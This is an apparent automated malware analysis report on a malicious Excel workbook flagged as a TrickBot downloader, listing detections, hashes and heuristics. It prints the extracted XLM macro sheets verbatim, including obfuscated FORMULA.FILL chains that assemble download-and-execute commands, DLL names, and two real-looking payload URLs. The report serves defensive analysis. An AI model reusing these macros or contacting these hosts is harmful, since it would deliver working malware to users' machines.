Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 783cf726ff4b058f…

MALICIOUS

Office (OOXML)

91.0 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-06-30
MD5: 044afe5d5a3c65831105e8458e964bec SHA-1: a2d93a92fd03beda41afde45e1265039f1095d68 SHA-256: 783cf726ff4b058f03f9365bec8f8cc60fed1ca15041db28d044a399a3d33ea2
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macro sheets with critical heuristic firings indicating the use of dangerous functions like FORMULA.FILL and HALT. These functions are used to construct and execute commands, likely to download and run a second-stage payload from the embedded URLs. The ClamAV detection as 'Xls.Downloader.Trickbot07210-9880007-0' further supports this. The macro code appears to be assembling strings to form URLs and DLL names, which are then likely used in conjunction with the CALL function to execute the downloaded payload.

Heuristics 6

  • ClamAV: Xls.Downloader.Trickbot07210-9880007-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Trickbot07210-9880007-0
  • Excel 4.0 macro sheet (6 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 5 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://senderoalcielo.com/0wq1jKHt/leef.html In document text (OOXML body / shared strings)
    • https://theottomandoner.com/gYiFGeXMa9/leef.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1701 bytes
SHA-256: 941b553d7b521116b5a6f09a03df21484f96c0030243596ceb3d3b6214233744
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AG3:AG6"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="32" max="32" width="4.28515625" customWidth="1"/><col min="33" max="33" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="3" spans="33:33" x14ac:dyDescent="0.25"><c r="AG3" s="2" t="b"><f>FORMULA.FILL(Sheet1!AR113&amp;Sheet1!AR114&amp;Sheet1!AR115,Sheet1!AQ150)</f><v>1</v></c></row><row r="6" spans="33:33" x14ac:dyDescent="0.25"><c r="AG6" s="1" t="b"><f>FORMULA.FILL(Sheet1!AR122&amp;Sheet1!AR123&amp;Sheet1!AR136&amp;Sheet1!AQ148&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ149&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ150&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ108&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ105&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR139,Sheet1!AO148)=Sheet4!AI4()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 10855 bytes
SHA-256: 0af162cfd2cf697bec00cde63863d4b01aafa107e3a054e2100968739a5e9167
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AO103:AS161"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="40" max="40" width="4.140625" customWidth="1"/><col min="41" max="45" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="103" spans="41:45" x14ac:dyDescent="0.25"><c r="AO103" s="1"/><c r="AP103" s="1"/><c r="AQ103" s="1"/><c r="AR103" s="1"/><c r="AS103" s="1"/></row><row r="104" spans="41:45" x14ac:dyDescent="0.25"><c r="AO104" s="1"/><c r="AP104" s="1"/><c r="AQ104" s="1"/><c r="AR104" s="1"/><c r="AS104" s="1"/></row><row r="105" spans="41:45" x14ac:dyDescent="0.25"><c r="AO105" s="1"/><c r="AP105" s="1"/><c r="AQ105" t="str"><f>"..\wail1.dll"</f><v>..\wail1.dll</v></c><c r="AR105" s="1"/><c r="AS105" s="1"/></row><row r="106" spans="41:45" x14ac:dyDescent="0.25"><c r="AO106" s="1"/><c r="AP106" s="1"/><c r="AQ106" s="1" t="str"><f>"..\wail2.dll"</f><v>..\wail2.dll</v></c><c r="AR106" s="1"/><c r="AS106" s="1"/></row><row r="107" spans="41:45" x14ac:dyDescent="0.25"><c r="AO107" s="1"/><c r="AP107" s="1"/><c r="AQ107" s="1"/><c r="AR107" s="1"/><c r="AS107" s="2"/></row><row r="108" spans="41:45" x14ac:dyDescent="0.25"><c r="AO108" s="1"/><c r="AP108" s="1"/><c r="AQ108" s="1" t="str"><f>"https://senderoalcielo.com/0wq1jKHt/leef.html"</f><v>https://senderoalcielo.com/0wq1jKHt/leef.html</v></c><c r="AR108" s="1"/><c r="AS108" s="1"/></row><row r="109" spans="41:45" x14ac:dyDescent="0.25"><c r="AO109" s="1"/><c r="AP109" s="1"/><c r="AQ109" s="1" t="str"><f>"https://theottomandoner.com/gYiFGeXMa9/leef.html"</f><v>https://theottomandoner.com/gYiFGeXMa9/leef.html</v></c><c r="AR109" s="1"/><c r="AS109" s="1"/></row><row r="110" spans="41:45" x14ac:dyDescent="0.25"><c r="AO110" s="1"/><c r="AP110" s="1"/><c r="AQ110" s="1"/><c r="AR110" s="1"/><c r="AS110" s="1"/></row><row r="111" spans="41:45" x14ac:dyDescent="0.25"><c r="AO111" s="1"/><c r="AP111" s="1"/><c r="AQ111" s="1"/><c r="AR111" s="1"/><c r="AS111" s="1"/></row><row r="112" spans="41:45" x14ac:dyDescent="0.25"><c r="AP112" s="1"/><c r="AQ112" s="1"/><c r="AR112" s="1"/><c r="AS112" s="1"/></row><row r="113" spans="41:45" x14ac:dyDescent="0.25"><c r="AP113" s="1"/><c r="AQ113" s="2"/><c r="AR113" s="2" t="s"><v>0</v></c><c r="AS113" s="1"/></row><row r="114" spans="41:45" x14ac:dyDescent="0.25"><c r="AP114" s="1"/><c r="AQ114" s="2" t="s"><v>1</v></c><c r="AR114" s="2" t="s"><v>2</v></c><c r="AS114" s="1"/></row><row r="115" spans="41:45" x14ac:dyDescent="0.25"><c r="AO115" s="1"/><c r="AP115" s="1"/><c r="AQ115" s="2" t="s"><v>3</v></c><c r="AR115" s="2" t="s"><v>4</v></c><c r="AS115" s="1"/></row><row r="116" spans="41:45" x14ac:dyDescent="0.25"><c r="AO116" s="1"/><c r="AP116" s="1"/><c r="AQ116" s="2" t="s"><v>5</v></c><c r="AR116" s="2"/><c r="AS116" s="1"/></row><row r="117" spans="41:45" x14ac:dyDescent="0.25"><c r="AO117" s="1"/><c r="AP117" s="1"/><c r="AQ117" s="2" t="s"><v>6</v></c><c r="AR117" s="2"/><c r="AS117" s="1"/></row><row r="118" spans="41:45" x14ac:dyDescent="0.25"><c r="AO118" s="1"/><c r="AP118" s="1"/><c r="AQ118" s="2" t="str"><f>RIGHT("rsthYFGIPUYiugeA",2)</f><v>eA</v></c><c r="AR118" s="2"/><c r="AS118" s="1"/></row><row r="119" spans="41:45" x14ac:dyDescent="0.25"><c r="AO119" s="1"/><c r="AP119" s="1"/><c r="AQ119" s="1"/><c r="AR119" s="1"/><c r="AS119" s="1"/></row><row r="120" spans="41:45" x14ac:dyDescent="0.25"><c r="AP120" s="1"/><c r="AQ120" s="1"/><c r="AR120" s="1"/><c r="AS120" s="1"/></row><row r="121" spans="41:45" x14ac:dyDescent="0.25
... (truncated)
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1504 bytes
SHA-256: 5fddc94a87bb4a481bf747d7b65cb11239b097bcf22ec69b957b1e8329f6a45d
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AI6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="34" max="34" width="4.140625" customWidth="1"/><col min="35" max="35" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="35:35" x14ac:dyDescent="0.25"><c r="AI6" s="1" t="b"><f>FORMULA.FILL(Sheet1!AR122&amp;Sheet1!AR123&amp;Sheet1!AR136&amp;Sheet1!AQ148&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ149&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ150&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ109&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR137&amp;Sheet1!AQ106&amp;Sheet1!AR137&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR140&amp;Sheet1!AR142&amp;Sheet1!AR139,Sheet1!AO149)=Sheet5!AM2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1158 bytes
SHA-256: d4c18034a4ff9f5f250ecb125bc64ceb7910b362fb352666f038ebcab7f83aea
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AM4"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="38" max="38" width="4.28515625" customWidth="1"/><col min="39" max="39" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="39:39" x14ac:dyDescent="0.25"><c r="AM4" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ136&amp;Sheet1!AQ137&amp;Sheet1!AQ138&amp;Sheet1!AQ139&amp;Sheet1!AQ140&amp;Sheet1!AQ141&amp;Sheet1!AQ142&amp;"2 ",Sheet1!AQ154)=Sheet7!AR6()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_04.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet5.xml 1294 bytes
SHA-256: 0b9fb82ab257e52f23f7be68bd5a833a97a60586cafa1440a947926f41d88782
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ10:AJ11"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="35" max="35" width="4.28515625" customWidth="1"/><col min="36" max="36" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="10" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ10" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ130&amp;Sheet1!AQ131&amp;Sheet1!AQ132,Sheet1!AQ148)</f><v>1</v></c></row><row r="11" spans="36:36" x14ac:dyDescent="0.25"><c r="AJ11" s="2" t="b"><f>FORMULA.FILL(Sheet1!AQ114&amp;Sheet1!AQ115&amp;Sheet1!AQ116&amp;Sheet1!AQ117&amp;Sheet1!AQ118,Sheet1!AQ149)=Sheet2!AG2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_05.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet6.xml 1170 bytes
SHA-256: 4eefa0a1e9c7a5ff09dad44d058d909865c24428eeddd6a2b68da7ddc2861960
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AR6:AR7"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="43" max="43" width="4.28515625" customWidth="1"/><col min="44" max="44" width="4.28515625" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="44:44" x14ac:dyDescent="0.25"><c r="AR6" s="1"/></row><row r="7" spans="44:44" x14ac:dyDescent="0.25"><c r="AR7" t="b"><f>FORMULA.FILL(Sheet1!AS135&amp;Sheet1!AS136&amp;Sheet1!AS137&amp;Sheet1!AS138,Sheet1!AQ151)=Sheet1!AO131()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.